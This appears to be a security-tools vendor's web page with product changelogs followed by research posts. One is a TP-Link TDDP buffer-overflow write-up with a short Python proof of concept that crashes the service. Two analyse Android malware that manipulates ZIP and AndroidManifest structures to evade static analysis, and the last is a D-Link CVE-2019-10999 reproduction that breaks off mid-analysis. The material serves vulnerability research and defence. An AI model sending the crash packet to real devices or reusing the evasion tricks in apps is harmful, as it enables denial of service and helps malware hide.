官网

新闻

行业信息

合作信息

链安博客

服务

制造业

核心基础设施

电信

医疗行业

解决方案

iris文章录入练习

变更日志

帮助中心

漏洞管理

产品使用书

问答最频繁的问题

# Changelog

Shambles Desktop Update Log

## [1.2.10] - 2025-06-12

### Added
- Added SCA report export feature
- Introduced new vulnerability types: Use-After-Free & Double Free

### Fixed
- Fixed an issue where AArch64 binaries failed to open on macOS
- Fixed a white screen bug when opening HexView in local Binary Analysis mode
- Fixed errors during chunked file uploads to ensure stable uploading
- Fixed bugs related to the vulnerability plugin

### Changed
- Improved the display logic of the software supply chain information list
- Optimized the client’s handling of large files

Shambles Desktop Release Notes

# Changelog

Incinerator Desktop Update Log

## [1.1.2] - 2025-05-23

### Added
- Synced the latest APK report content from the cloud
- Added new API calls

### Fixed
- Adjusted threat levels in behavior analysis
- Fixed issues with building the code list in the APK risk details
- Fixed an issue where the Broadcast table field in component info was empty
- Fixed abnormal upload issues for some APKs
- Fixed bugs related to APK decompilation analysis

### Changed
- Optimized the display of the TCP panel to make the interface cleaner and more intuitive
- Optimized memory usage during analysis
- Optimized the scheduled refresh mechanism for the APK list

Incinerator Desktop Release Notes

# Changelog

Shambles Cloud Update Log

## [1.1.0] - 2025-03-29

### Added
- Launched sca.shambles.cloud
- Added API call support

### Fixed
- Fixed errors in chunked file upload to ensure upload stability
- Adjusted detection strategy for very large files

Shambles Cloud Release Notes

# Changelog

Incinerator Cloud Update Log

## [1.1.0] - 2025-03-29

### Added
- runtime APP screenshot viewing
- Added downloadable PDF  reports
- Added APK packaging platform detection
- Added API support

### Fixed
- Fixed  threat level assessment in behavior analysis
- Fixed code list rendering error in APK risk details
- Fixed missing fields in Broadcast table under component information

### Changed
- Making the TCP display panel  cleaner,  more intuitive.
- Optimized memory usage during analysis

Incinerator Cloud Release Notes

Incinerator: The Ultimate Android Malware Reversing Tool

TP-Link's TDDP programs listening on UDP port 1040, fails to properly verify data length during parsing, leading to memory overflow destroying the memory structure and causing a denial of service.

---

This blog delves into a vulnerability that was reported to TP-Link in 2020. Despite this, no CVE was assigned, therefore no information regarding the bug has been made public. Reading write-ups often offers valuable insights and learning opportunities. I strongly believe that sharing methodologies and research publicly benefits both the industry and all learners, students, and professionals.

I'll be using **Shambles** to identify, reverse, emulate, and validate the buffer overflow which leads to a denial of service. If you're interested in getting your hands on Shambles you can join the Discord and read the FAQ channel.

Let's begin by introducing the protocol, TDDP, which is a binary protocol documented in patent **CN102096654A**. Everything you need to understand the protocol is in the patent descriptions. But I'll summarize it for you.

#

<img src="/ucenterapi/upload/file/1edd55c24dc6ca9057f627359dcf9227"></img!>

#
TDDP is an acronym for TP-LINK Device Debug Protocol which is primarily used for debugging purposes that operate through a single UDP packet. This makes it very interesting to reverse since this binary protocol must be parsed. TDDP packet serves to transmit requests or commands with distinct message types specified within its payload. Below is an illustration depicting the format of a TDDP packet.

#
```
 0 1 2 3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Ver | Type | Code | ReplyInfo |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| PktLength |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| PktID | SubType | Reserve |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| MD5 Digest[0-3] |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| MD5 Digest[4-7] |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| MD5 Digest[8-11] |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| MD5 Digest[12-15] |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
```

#
To issue commands, you adjust the values in the `Type` and `SubType` header fields. To my understanding, any returned data is encrypted using DES and must be decrypted typically using the device's username and password. Configuration data sent to the device also needs to be encrypted. The DES key is formed by combining the MD5 hash of the username and password, then extracting the first 8 bytes of the hash.

The full buffer overflow chain can be visualized below. We'll cover it step-by-step but you'll likely need to scroll back up to reference the image.

#

<img src="/ucenterapi/upload/file/67c79fe25118ea3361723a88d718c195"></img!>

#
Let's break this down. We'll call the function shown below `tddpEntry` (`sub_4045f8 0x004045F8`) which is the start of the chain. This function handles communication using the TDDP protocol by continuously checking for incoming data. UDP data is received from the `recvfrom` function which is used to receive data from a socket in `dword_4178d0`.

#

<img src="/ucenterapi/upload/file/507448ec7fd94007fc5effb8bc6bae3d"></img!>

#
The data received is stored in the buffer (`varf4`). No validation against the received data size is performed when it is then passed to `TddpPktInterfaceFunction` (`sub_4045f8+330 0x00404B40`) for processing. As seen below `GetTddpMaxPktBuff` (`sub_4042d0 0x004042D0`) returns `0x14000`.

#

<img src="/ucenterapi/upload/file/73bfad6e3bf79edb6e1490bcb9221017"></img!>

#
Below is the `TddpPktInterfaceFunction` function.

#

<img src="/ucenterapi/upload/file/ab5fd95a50a0c1436c1db7830aa2557d"></img!>

#
The conditional block above will handle cases where the first byte of the packet `p0` equals 2 `byte[0] = 2` seen in the code as `*(byte *)p0 == 2`. The function passes data by setting specific values into the packet and a new storage space pointer. Then it calls the `tddp_versionTwoOpt` (`sub_404b40 0x00405990`) function to process the packet further. The size and allocation of `off_42ba8c` is at a maximum length of `0x14000` when the packet is processed. The `tddp_versionTwoOpt` function passes data into `tddp_deCode` (`sub_404fa4 0x00405014`) for verification.

#

<img src="/ucenterapi/upload/file/bad734eb17f03475174c4af13cbabfbf"></img!>

#
`tddp_deCode` will set the data, DES length, and pointer then attempt to decode the provided TDDP packet (`p0` and `p1`) and verify the integrity of the decrypted data. If successful, it updates the decoded data and returns `0`.

In other words, the `tddp_deCode` function decodes the TDDP packet. In the `tddp_deCode` function, the data, and DES length are going to be contained in byte[4-8] and a pointer to the newly stored data is set before calling `des_min_do` for decryption. It's important to note that `des_min_do` is a function provided by the `/lib/libutility_lib.so` library.

#

<img src="/ucenterapi/upload/file/5816c5f91ce5f72c8851eb0b7524677e"></img!>

#
Again, parameters such as size and length are passed into `des_min_do` for decryption.

#

<img src="/ucenterapi/upload/file/32c6542a5693e88a6982c01e94d8c30d"></img!>

#
After extracting the necessary fields from the input data, the function calculates the DES length using the extracted bytes `byte[4-8]`, and sets the pointer to the newly stored data represented by the variable `arg4`.

#
```
// Further up in the function
arg0 = p0;
arg4 = p1; // Pointer of the newly stored data
// Line 99
var34 = des_min_do(arg0 + 28, var38, arg4 + 28, v18);
```

#
Here, `arg4` is passed as an argument to the `des_min_do` function, which as we've mentioned multiple times is responsible for decrypting the data. The decrypted data is then stored starting from the offset `arg4 + 28`.

#
```
// Line 96
v18 = GetTddpMaxPktBuff() - 28;
```

#
The resulting value (`v18`) is used as the limit for further operations. The snipped of code above is when the function `sub_4042d0()` is called, which returns the size of the decrypted data. Then, `28` is subtracted from this size, presumably to account for some header length. This is passed as the fourth parameter.

That was pretty lengthy. And perhaps confusing so just to recap. In the `des_min_do` function, `arg4` and `v18` are parameters passed into the function. The variable `arg4` contains the value `p1` which is passed as the third argument to `des_min_do`. `arg4` is used to provide the length of the DES data to the `des_min_do` function. `v18` is also passed into `des_min_do` as the fourth argument and is assigned the result of the expression `GetTddpMaxPktBuff() - 28`.

Let's look at the `des_min_do` function.

#

<img src="/ucenterapi/upload/file/798d98700810e8f2f559581cd3a32814"></img!>

#
As seen above when the length of DES passed in `byte[4-8]` is greater than the maximum size limit `0x14000` `0` is returned directly without decryption. Therefore if `v6` is `0`, `v5 < p1` the DES encryption key won't be set using `DES_set_key_unchecked` and no decryption is performed. So at this point, the `des_min_do` function will return `0`.

After some more operations are performed in `tddp_deCode` the MD5 digest verification block is reached.

#

<img src="/ucenterapi/upload/file/2373bbca91f1aa8769a14b94810518f2"></img!>

#
Following the processing in `tddp_deCode`, the MD5 digest stored in `byte[13-28]` is extracted and compared with the MD5 digest of the entire current dataset. When the md5 digest is compared the original md5 digest `byte[13-28]` position is set to `0`). As seen in the memory write operation below.

#
```
*(byte *)(arg4 + var38 + 28) = 0;
```

#
Since `arg4` is the data structure containing the MD5 digest, `var38` holds the offset to the start of the MD5 digest within the buffer. By setting the byte at this position to `0`, it effectively modifies the stored MD5 digest, which is stored in bytes `13-28` of the buffer. This modification allows the subsequent comparison to determine if the recalculated MD5 digest matches the original stored MD5 digest.

SO! The MD5 digest stored in `byte[13-28]` is extracted. This extracted MD5 digest is then compared with the MD5 digest data, where the original MD5 digest `byte[13-28]` position is set to `0`. If the verification is correct (i.e., if the extracted MD5 digest matches the MD5 digest of the current data) the `tddp_deCode` function proceeds to process it, points the pointer of the new storage content to the position of `byte[4-8] + 28`, and sets the byte position to `0`. Since `byte[4-8]` is controllable, we can cause overflow (if greater than `0x14000`), writing it to `0` leads to memory corruption, as it destroys the memory structure and causes a denial of service (DoS) condition.

Let's make a POC using Shambles! This literally takes 5 minutes. Simply create a VM and map it to the 2nd file system containing all the firmware binaries.

#

<img src="/ucenterapi/upload/file/758ebf458de6e1bb64fbb3316097f62d"></img!>

#
Then we simply start the VM as seen below no edits are required to the firmware and it runs flawlessly.

#

<img src="/ucenterapi/upload/file/36da2ba309ace13c5e5dfb02b7253de8"></img!>

#
Through the built-in SSH console, we'll manually start the `httpd` binary.

#

<img src="/ucenterapi/upload/file/34f6c3b81bdac0cdc29a8a08fbc10544"></img!>

#
We can validate that it's working by performing some reverse proxying and accessing the page.

#

<img src="/ucenterapi/upload/file/4ca4a5b9f9358ab71efb359abd80d9b2"></img!>


<img src="/ucenterapi/upload/file/57963f5abb54ba365f44ac0b368cccdd"></img!>

#
We'll also go ahead and spin up `tddpd`.

#

<img src="/ucenterapi/upload/file/62cad39a3edd672dd4bcaad54aac0880"></img!>

#
Before we try throwing anything at the box its always good to validate that the required services are running. We confirm below that `tddpd` is rolling on port `1040`.

#

<img src="/ucenterapi/upload/file/e74176451c4cd798ba58fb9a503d9424"></img!>

#
I'll access the VM's port `1040` over my local port `10461`.

We need to set `v0` to `0x01000000` in `byte[4-8]`. The UDP packet still has to be valid and recognized. So looking at the patent information we will set the following values:

#
```
byte[0]: Ver
byte[4-8]: PktLength
byte[13-28]: MD5 digest
byte[29-N]: DES
---------------------------------
TDDP version = "02"
TDDP user config = "01 00 00 00"
TDDP code request type = "01"
TDDP reply info status (OK) = "00"
TDDP padding = "%0.16X" % 00
```

#

<img src="/ucenterapi/upload/file/61d4da049b90e16a10d9aaf05d1c39fe"></img!>

#
The final POC will be the following code.

#
```
import socket
import hashlib
bytes12 = bytes([0x02, 0x01, 0x00, 0x00,
 0x01, 0x00, 0x00, 0x00,
 0x12, 0x34, 0x56, 0x78])
magic = (0x00).to_bytes(length=16, byteorder='big')
tmp_data_bytes = bytes12 + magic
md5_bytes = hashlib.md5(tmp_data_bytes).digest()
data_bytes = bytes12 + md5_bytes
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(data_bytes, ("127.0.0.1", 10461))
data = s.recv(1024)
print('recv:' + data.decode())
s.close()
```
#
Once executed we can look at Shambles VM logs and see that the `tddpd` program has crashed.

#

<img src="/ucenterapi/upload/file/4adb8a13575bc01d5cc306bf0600284c"></img!>

#
Through debugging, we can confirm the cause is the incoming `v0=0x01000000` which exceeds the range and forces the written value to be `0` causing the crash.
#

<img src="/ucenterapi/upload/file/2a005c39f882ce858539d88e4acbd905"></img!>

#

TP-Link TDDP Buffer Overflow Vulnerability

BOOMSLANG Mobile fraud family analysis

Machine Learning-based Android Malicious App Identification

# Background

With the proliferation of mobile applications, malware is becoming increasingly sophisticated and evasive. This report focuses on a malicious Android software sample submitted by ReBensk to incinerator.cloud.

- Sample Hash Values:

 - MD5: 2f371969faf2dc239206e81d00c579ff
 - SHA-256: b3561bf581721c84fd92501e2d0886b284e8fa8e7dc193e41ab300a063dfe5f3

Among the malicious samples submitted to incinerator.cloud by ReBensk, we have a particular interest in a custom-modified APK file, referred to as "Sample b356." This sample employs unique obfuscation and steganography techniques that thwart the successful extraction of its contents using conventional decompression tools. Through targeted adjustments, we managed to overcome this limitation and conduct a more comprehensive analysis of the sample.

# Analysis Process

## Investigation of Decompression Failure

While attempting to decompress the APK file (essentially a ZIP file) using the 7z tool, an error surfaced displaying an AndroidManifest.xml header error. This points to the standard decompression process failing to properly extract the contents of Sample b356.

#

<img src="/ucenterapi/upload/file/d905debb0ab630a86c0429d12b85b0cd"></img!>

#
After opening the APK file with 010 Editor and applying the ZipAdv template to parse it, no obvious errors or exceptions were found.


#

<img src="/ucenterapi/upload/file/06666c0ac6531b59ef2d4091864cb545"></img!>

#

To get a deeper understanding of the problem, we opened a functioning APK file for comparative analysis. This was done to determine if there was some kind of special or irregular structure or data that could be the cause of the decompression failure.


#

<img src="/ucenterapi/upload/file/0992bfb70296815c001df5b2509bc2ea"></img!>

#

A comparison shows that Sample b356 uses an illegal compression algorithm `0x23C2`. In the standard ZIP format specification, the compression method is indicated by a short integer (short), typically adopting values as shown below (the following code is taken from the ZIPdecompression tools like 7z cannot identify or process it.

#
```
//enum used for compression format
typedef enum <short> { 
 COMP_STORED = 0,
 COMP_SHRUNK = 1,
 COMP_REDUCED1 = 2,
 COMP_REDUCED2 = 3,
 COMP_REDUCED3 = 4,
 COMP_REDUCED4 = 5,
 COMP_IMPLODED = 6,
 COMP_TOKEN = 7,
 COMP_DEFLATE = 8, // Deflate - standard ZIP codec, used from the start, also found in regular ZIP files
 COMP_DEFLATE64 = 9,
 COMP_PKImploding = 10,
 
 COMP_BZip2 = 12, // BZIP2 - Newer than deflate, with better compression and slightly slower speed.
 COMP_LZMA = 14, // LZMA - advanced ZIPX codec, taken from open source 7-zip format
 COMP_Terse = 18,
 COMP_Lz77 = 19,
 
 COMP_Jpeg = 0x60, // Jpeg - Codec added by WinZip for specific support of jpeg images ( http://www.winzip.com/wz_jpg_comp.pdf )
 COMP_WavPack = 0x61, // WavPack - Codec for compressing specifically wav files. ( http://www.wavpack.com )
 COMP_PPMd = 0x62, // PPMd - context modeling based codec, also featured in new ZIP standard. We use it in our Optimized method for text file compression. ( http://www.compression.ru/ds/ )
 COMP_WzAES = 0x63 // WZAES encryption methods
} COMPTYPE;
```

#
Consequently, Sample b356 employs an unidentified compression algorithm, impeding successful decompression using general-purpose tools. However, how can it still install and run effectively on the Android system?

## Factors Enabling Successful Parsing and Execution on the Android System

As depicted in the illustration below, according to the Android system's source code, when confronted with a compression algorithm other than `COMP_DEFLATE`, it resorts to handling the input file through the `COMP_STORED` method. In detail, the system directly gauges the length of the uncompressed data and subsequently processes it.


#

<img src="/ucenterapi/upload/file/de9b6970fc8f1655de66719b0b80c1b8"></img!>

#

<img src="/ucenterapi/upload/file/6d49259ebe481fa51a7ad3adb371211c"></img!>

#

<img src="/ucenterapi/upload/file/edb56ebf530ae2b4023d608f32c0e351"></img!>

#

<img src="/ucenterapi/upload/file/35dbc8e23cb4f20e0bb7e2e894e08ae7"></img!>

#

<img src="/ucenterapi/upload/file/24d2a80ec631ac98a0bae901d67b7423"></img!>

#

<img src="/ucenterapi/upload/file/c76ecbadce6c55fb40ffd09943e2112b"></img!>

#

<img src="/ucenterapi/upload/file/61309be7bcac1aea31aee686be8cd0c1"></img!>

#

<img src="/ucenterapi/upload/file/4745f772dcb5ef42c93bac506489fde2"></img!>




#

Pay close attention to the code comparison within the yellow and red boxes. In the yellow box, if the COMP_DEFLATE compression algorithm is employed, the system decompresses correspondingly. If not, the system directly reads the pre-compression length and processes it.

This elucidates why the system continues to function accurately even after modifying the compression method in AndroidManifest. Sample b356 swaps the package's AndroidManifest.xml content with the pre-compression content and replaces the compression algorithm with something other than COMP_DEFLATE following the completion of the standard packaging process. Consequently, conventional decompression tools falter, but the Android system interprets it as uncompressed, facilitating normal operation.

## Recommendations for Enhancing the Decompression Program

### **Rectifying the APK**

#

<img src="/ucenterapi/upload/file/2ea3c84b1c9d8e70ebb0952b40179795"></img!>

#

In line with the Android system's approach, the AndroidManifest.xml within the Apk can only undergo two compression methods: `COMP_DEFLATE` or `COMP_STORED` .

If the compression algorithm is not the default COMP_DEFLATE, then it must be uncompressed, so the way to fix the apk is that if you find that the compression algorithm is not COMP_DEFLATE, then set the compression algorithm to 0, i.e. uncompressed, and at the same time, set the compressed length to the length before compression. This way regular decompression tools can decompress it.

After the fix, we tried to decompress it using the 7-Zip (usually shortened to 7z) tool and the results are shown below. Although there are still errors, especially regarding the CRC (Cyclic Redundancy Check) value which has not been fixed, we have successfully extracted the APK file and can access the AndroidManifest.xml content in it.


#

<img src="/ucenterapi/upload/file/f4f75ecfe41db899310742600cc8b41f"></img!>

#

<img src="/ucenterapi/upload/file/204117fe727bd27a3694f2d536053f47"></img!>

#

### **Static Analysis Tool Enhancement**

The static analysis tool can follow the system's decompression method, if it finds that the compression method of AndroidManifest.xml is not COMP_DEFLATE, then it reads the length before compression as the content of AndroidManifest.xml.

# Conclusion

As Android system processes non-COMP_DEFLATE compression methods through uncompressed handling during parsing, this approach, from a logical perspective, diverges from specifications. Consequently, b356 effectively exploits this logical vulnerability. An exhaustive solution would necessitate the Android system adhering to the standardized ZIP package decompression format.

# Special Thanks:

Thank you to ReBensk for your ongoing support. We're grateful for your quiet use of incinerator.cloud and your tireless contributions of many unique samples. We greatly appreciate your willingness to publicly share all your sample analysis reports from your incinerator.cloud account with the community.


Thanks to 0x6rss for your assistance in both technical and other matters. You're an excellent brother who has taught us many new techniques. Our team hasn't worked in the malware analysis field for many years, and you've helped us learn a lot more. Thank you.
Thanks to MalwareBug for submitting many samples and issues to us. Your ongoing support for the development of incinerator is invaluable, and I look forward to each of your articles!


Thanks to JoeSecurity. If it weren't for you identifying the issue with Zip types, we wouldn't have been inspired to analyze related technologies. We also hope to gain access to your Sandbox services since I've never successfully registered.
Thank you to Fernando Sánchez for sharing your technical insights. We are very grateful!

AndroidManifest.xml Evasion Techniques for Bypassing Static Analysis: Circumventing via Zip Format Manipulation

# Background

As mobile applications become increasingly prevalent, malicious software is also becoming more complex and covert. This report focuses on a malicious Android sample submitted by ReBensk to incinerator.cloud.

# Basic Information

- **Sample Hashes:**

 - MD5: 2f371969faf2dc239206e81d00c579ff
 - SHA-256: b3561bf581721c84fd92501e2d0886b284e8fa8e7dc193e41ab300a063dfe5f3

Among multiple malicious samples submitted to incinerator.cloud by ReBensk, we pay special attention to a custom-modified APK file, hereinafter referred to as "Sample b356." This sample employs unique obfuscation and evasion techniques, which make it resistant to conventional decompression tools. Through specialized remediation, we were able to bypass this limitation and analyze the sample further.

# Analysis Process

## Structural Corruption in AndroidManifest.xml

### **Reason for Failure in Initial Analysis**

Using the 010 Editor, we attempted to analyze the remediated AndroidManifest.xml binary file from Sample b356 with the AndroidResource template. This initial attempt failed, revealing issues beginning at `pos:0` of the file.

#

<img src="/ucenterapi/upload/file/fa394b89902f641d1dbd82e89b7d5d21"></img!>

#

By comparing this with a standard AndroidManifest.xml binary file, we noticed a discrepancy right at the first byte.

#

<img src="/ucenterapi/upload/file/eeb65e0c9946b0c84dd9ccbbf612c5b9"></img>

#
Resource Type Definitions:

#
```
enum {

 RES_NULL_TYPE = 0x0000, 
 RES_STRING_POOL_TYPE = 0x0001, 
 RES_TABLE_TYPE = 0x0002, 
 RES_XML_TYPE = 0x0003, // Chunk types in 
 RES_XML_TYPE RES_XML_FIRST_CHUNK_TYPE = 0x0100, 
 RES_XML_START_NAMESPACE_TYPE= 0x0100, 
 RES_XML_END_NAMESPACE_TYPE = 0x0101, 
 RES_XML_START_ELEMENT_TYPE = 0x0102, 
 RES_XML_END_ELEMENT_TYPE = 0x0103, 
 RES_XML_CDATA_TYPE = 0x0104, 
 RES_XML_LAST_CHUNK_TYPE = 0x017f, // This contains a uint32_t array mapping RES_XML_RESOURCE_MAP_TYPE = 0x0180, // Chunk types in RES_TABLE_TYPE RES_TABLE_PACKAGE_TYPE = 0x0200, 
 RES_TABLE_TYPE_TYPE = 0x0201, RES_TABLE_TYPE_SPEC_TYPE = 0x0202

};
```

#
According to Android specifications, this byte should typically be 0x03, which is not the case in Sample b356.

### **Why android can parse？**

Locating the source code for Android parsing,

#

<img src="/ucenterapi/upload/file/10a65df22a3abab755008fcace3eed19"></img>

#
This is the point where the parsing of the Androidmanifest.xml binary initiates. Upon examining the source code, it becomes apparent that there is no validation of the first two bytes as 0x0003. Instead, the legality of the headerSize is the sole aspect subjected to verification. Consequently, even after altering the file type in sample b356, Android retains its capability to accurately parse the file.

### **Modification Suggestions**

Static analysis tool fix suggestion: keep the same parsing process with Android system, no file type verification here.

## StringPoolSize Modification

### **Data Anomaly Analysis**

We manually corrected the first byte to 0x03 for further analysis. Upon attempting to parse it again with the AndroidResource template, we found that the analysis still failed. It only displayed the string pool without parsing out the main XML node.

#

<img src="/ucenterapi/upload/file/3ba8e84f743f8339731abc6d5da041ec"></img>

#

We expanded the data in `stringoffsets` for examination. Starting from the 131st `stringoffset`, the data showed significant anomalies, far exceeding the entire length of the file, clearly indicating an error. Upon further analysis of the `stringPool` header information, we calculated that the actual number of strings is 131.

#

<img src="/ucenterapi/upload/file/54762c3b7a885a91d1c236488baada27"></img>

#

In the `stringoffsets` field of sample b356, starting from the 131st entry, the data clearly shows anomalies: these values far exceed the actual length of the entire file. This inconsistency clearly points to an error and suggests that the number of entries recorded in `stringoffsets` is likely inaccurate.

#

<img src="/ucenterapi/upload/file/fbec3135a96e9af9d5e4474182dc48a6"></img>

#

Upon conducting a deep analysis of the `stringpool` structure in sample b356, we first confirmed that `strdata[0]`, i.e., the first string in `stringpool`, was correctly parsed. This is crucial because it verifies that our starting position for parsing (0x230, which is 560 in decimal) is accurate.

The `stringsStart` field indicates that the starting position of the `stringpool` is 552 bytes from the beginning of the file header. Since there are typically 8 bytes used to store meta-information about the `stringpool` (such as length or other flags), 552 + 8 equals precisely 560.

#

<img src="/ucenterapi/upload/file/61d38b9dadb4173e6c00b573333e9da2"></img>

#

This naturally raises a question: What exactly does the content of these 552 bytes comprise? We know that the `strPoolheader` itself takes up 28 bytes (or 0x1C). If we subtract these 28 bytes from the 552, what are the remaining 524 bytes used for?

The remaining 524 bytes are very likely used to store `stringoffsets`. Each `stringoffset` typically takes up 4 bytes, so 524/4 equals precisely 131. This aligns with the number of `stringoffsets` that we previously calculated manually.

#

<img src="/ucenterapi/upload/file/b6be65e7c3656e1362f465cdf53eee72"></img>

#

In our previous in-depth analysis, we inferred that the actual number of `stringoffsets` is 131, which is inconsistent with the incorrectly identified number in sample b356. To more accurately parse this sample, we decided to correct the `stringCount` field.

### **Why Can the Android System Parse It Correctly?**


#

<img src="/ucenterapi/upload/file/da58a71cc963b27338b8532de3ae148f"></img>

#

As shown in the source code for system parsing `stringPoolsize` above, `stringPoolsize` is computed. Therefore, the modifications to `stringPoolsize` in sample b356 effectively break many static analysis tools that read `stringPoolsize` from the file. However, the Android system can still obtain the correct `stringPoolSize` through calculations during parsing.

### **Modification Suggestions**

Suggested Modification for Static Analysis Tools: Follow the Android system's approach, where `stringPoolSize` is computed rather than parsed from the file.

1. Manual Adjustment: First, find the `stringCount` field in the `stringPool` header of sample b356 and change its value to 131.
2. Reparse: After completing the modification, we use `010 Editor` along with the `AndroidResource` template to parse the sample again.

After the modification, we find that the main XML nodes have been successfully parsed. This means that our manual adjustment is effective, and we can now see more internal details of the sample.

#

<img src="/ucenterapi/upload/file/d1adf356363f646a7ff6e1aa35cdfa41"></img>

#

Despite manually fixing the `stringCount ` and successfully parsing the main nodes of `AndroidManifest.xml ` using 010 Editor, dedicated static analysis tools still encounter errors. The specific error occurs at the `0x1588` byte position in the binary file.

## Insert obfuscated data at the end of the XML node

### **Analysis of Anomalous Data**

We manually modify the `stringCount` to 131 in order to continue the analysis.

Upon reloading the modified file with 010 Editor, the result is as shown in the following figure:

#

<img src="/ucenterapi/upload/file/823d8284d1383119434a7d6a6b9a091b"></img>

#

010 Editor has no issues during parsing, but when using static analysis tools, unexpected data is encountered at byte `0x1588`.

At byte position `0x1587`, the first XML element has already ended. Static analysis tools expect byte `0x1588` to serve as the starting point for the next `ResChunk_header` for analysis. However, an exception occurs when attempting to parse the `size` field at byte `0x158A`. According to the constraints of the `ResChunk_header` structure, this `size` value should be at least greater than 8, but the actual data does not meet this condition.

It seems that sample b356 has inserted some non-standard or obfuscated data at byte `0x1588`, causing the static analysis tool to fail in its analysis.

Based on the parsing results from 010 Editor, we know that the `headersize` field of 'startEle' has been modified, allowing for the addition of obfuscated content after the element ends.

#

<img src="/ucenterapi/upload/file/c198401bffbe3bab491a28f571562b91"></img>

#

After parsing the `attribute` field, if the parsing is not yet complete or an exception is encountered, the tool should automatically skip to the position defined by `elementStart + size` and begin parsing the next element from there. The purpose of doing this is to bypass any potential interference or erroneous data.

### **Why Android Systems Can Parse？**

As shown in the Android system source code below, each attribute's data is calculated through the position of `attributeExt`, the start of `attributeExt`, and the size of attributeExt. The start and size of `attributeExt ` are read from the bytes. Therefore, as long as the start of attributeExt is correct, it ensures that the correct `attributeData` can be obtained.

#

<img src="/ucenterapi/upload/file/1e0820ca56d105b344e5bb25be8dc9f6"></img>

#

The `attributeExt` is located based on the size and position specified in the header of the current XML node. Specifically, every time a new node is parsed, the position is calculated by adding the `size` value read from the header of the current node to the current node's position.

In the case of the sample b356, the position of startEle[1] is calculated as the position of startEle[0] plus startEle[0].header->size. Therefore, while sample b356 inserts disruptive data after the end of startEle[0] in the original APK, it also modifies the length of startEle[0].header->size, enabling the system to parse it correctly.

In other words, the system continues to parse correctly because it moves to the next node based on the modified 'size' value in the header, effectively bypassing the disruptive or obfuscating data that was inserted.

#

<img src="/ucenterapi/upload/file/5ea38dd369c4de29947c044d74ae8c20"></img>

#

### **Modification Suggestions**

Suggested Modification for Static Analysis Tools: Consider following the parsing method used by the Android system, where the starting position of each XML node is calculated based on the starting position of the previous node plus the length of the previous node.

# Summary

The "b356" sample showcases obfuscation and concealment techniques at multiple layers and dimensions, with a clear aim: to resist and disrupt the capabilities of standard decompression tools and static analysis decoding.

The primary reason why b356 can successfully obfuscate is the difference in some of the finer details between the Android system's parsing process and the commonly used static analysis tools in the market.

In this sample, there are only three modification points, but other samples may have additional points. We will continue to analyze these in our next blog post.

However, a reactive approach of patching individual issues is certainly not the ideal solution. Instead, a more systematic approach should be taken to align the static analysis techniques with the Android system's parsing process. For example, converting the system source code parsing method into one compatible with static analysis tools, which would require a collective effort from the community.

# Special Thanks:

Thank you to ReBensk for your ongoing support. We're grateful for your quiet use of incinerator.cloud and your tireless contributions of many unique samples. We greatly appreciate your willingness to publicly share all your sample analysis reports from your incinerator.cloud account with the community.
Thanks to 0x6rss for your assistance in both technical and other matters. You're an excellent brother who has taught us many new techniques. Our team hasn't worked in the malware analysis field for many years, and you've helped us learn a lot more. Thank you.
Thanks to MalwareBug for submitting many samples and issues to us. Your ongoing support for the development of incinerator is invaluable, and I look forward to each of your articles!
Thanks to JoeSecurity. If it weren't for you identifying the issue with Zip types, we wouldn't have been inspired to analyze related technologies. We also hope to gain access to your Sandbox services since I've never successfully registered.
Thank you to Fernando Sánchez for sharing your technical insights. We are very grateful!

Technical Analysis of Multi-layered Obfuscation Techniques in AndroidManifest.xml Aimed at Evading Static Analysis

Shambles: The Next-Generation IoT Reverse Engineering Tool to Discover 0-Day Vulnerabilities

# Vulnerability Information

Viewing the base information of this CVE from [CVE-2019-10999](https%3A%2F%2Fcve.mitre.org%2Fcgi-bin%2Fcvename.cgi%3Fname%3DCVE-2019-10999), we know that this is a stack overflow vulnerability, where an attacker can execute an arbitrary command attack by sending an extra-long WEPEncryption parameter to wireless.htm while logged in, resulting in a stack overflow. We will now use the Shambles Desktop tool to locate this vulnerability and perform a stack overflow attack. Check the Dlink website for devices and versions that are vulnerable. We select v2.17.01 of the DCS-932L. Download the corresponding firmware.

# Reproducibility

First, open the firmware with Shambles Desktop, use Shambles Desktop's online unpacking function to unpack the firmware and extract the file system, so that the contents of the firmware package will be displayed in the form of a visual file directory tree (shown on the left side of Figure 1), which is convenient for analysis. At the same time, Shambles Cloud will analyze the unpacked information to determine the device, manufacturer, chip architecture, device type and other information. As shown in the Hardware Information of Firmware Info on the right side of Figure 1, the device is an embedded camera device with MIPS chip architecture from D-Link.

## 1. Static analysis

#

<img src="/ucenterapi/upload/file/4726755d89ff3af1a73938facc9fbb2c"></img>

*Figure 1*

#
First of all, we analyzed the static code of the firmware through Shambles Desktop to determine the code location of the vulnerability.

[CVE vulnerability information](https%3A%2F%2Fcve.mitre.org%2Fcgi-bin%2Fcvename.cgi%3Fname%3DCVE-2019-10999) mentioned that the vulnerability exists in the device's web server executable file alphapd, the attackers in the request wireless.htm file, in the request parameter WEPEncryption constructed in the long parameter can lead to a stack overflow to execute arbitrary commands.

So first search for "**alphapd**" keyword in file manager, so as to find the corresponding file for static decompile operation, and then search for "WEPEncryption" keyword in the current decompile window, the result returns Then search "**WEPEncryption**" keyword in the current decompile window, the result returns more than ten matches (as shown in Figure 2), and then analyze it together with the detection result of "**ELF Vunerability Info**" on the right side of the code risk detection window (as shown in Figure 2).

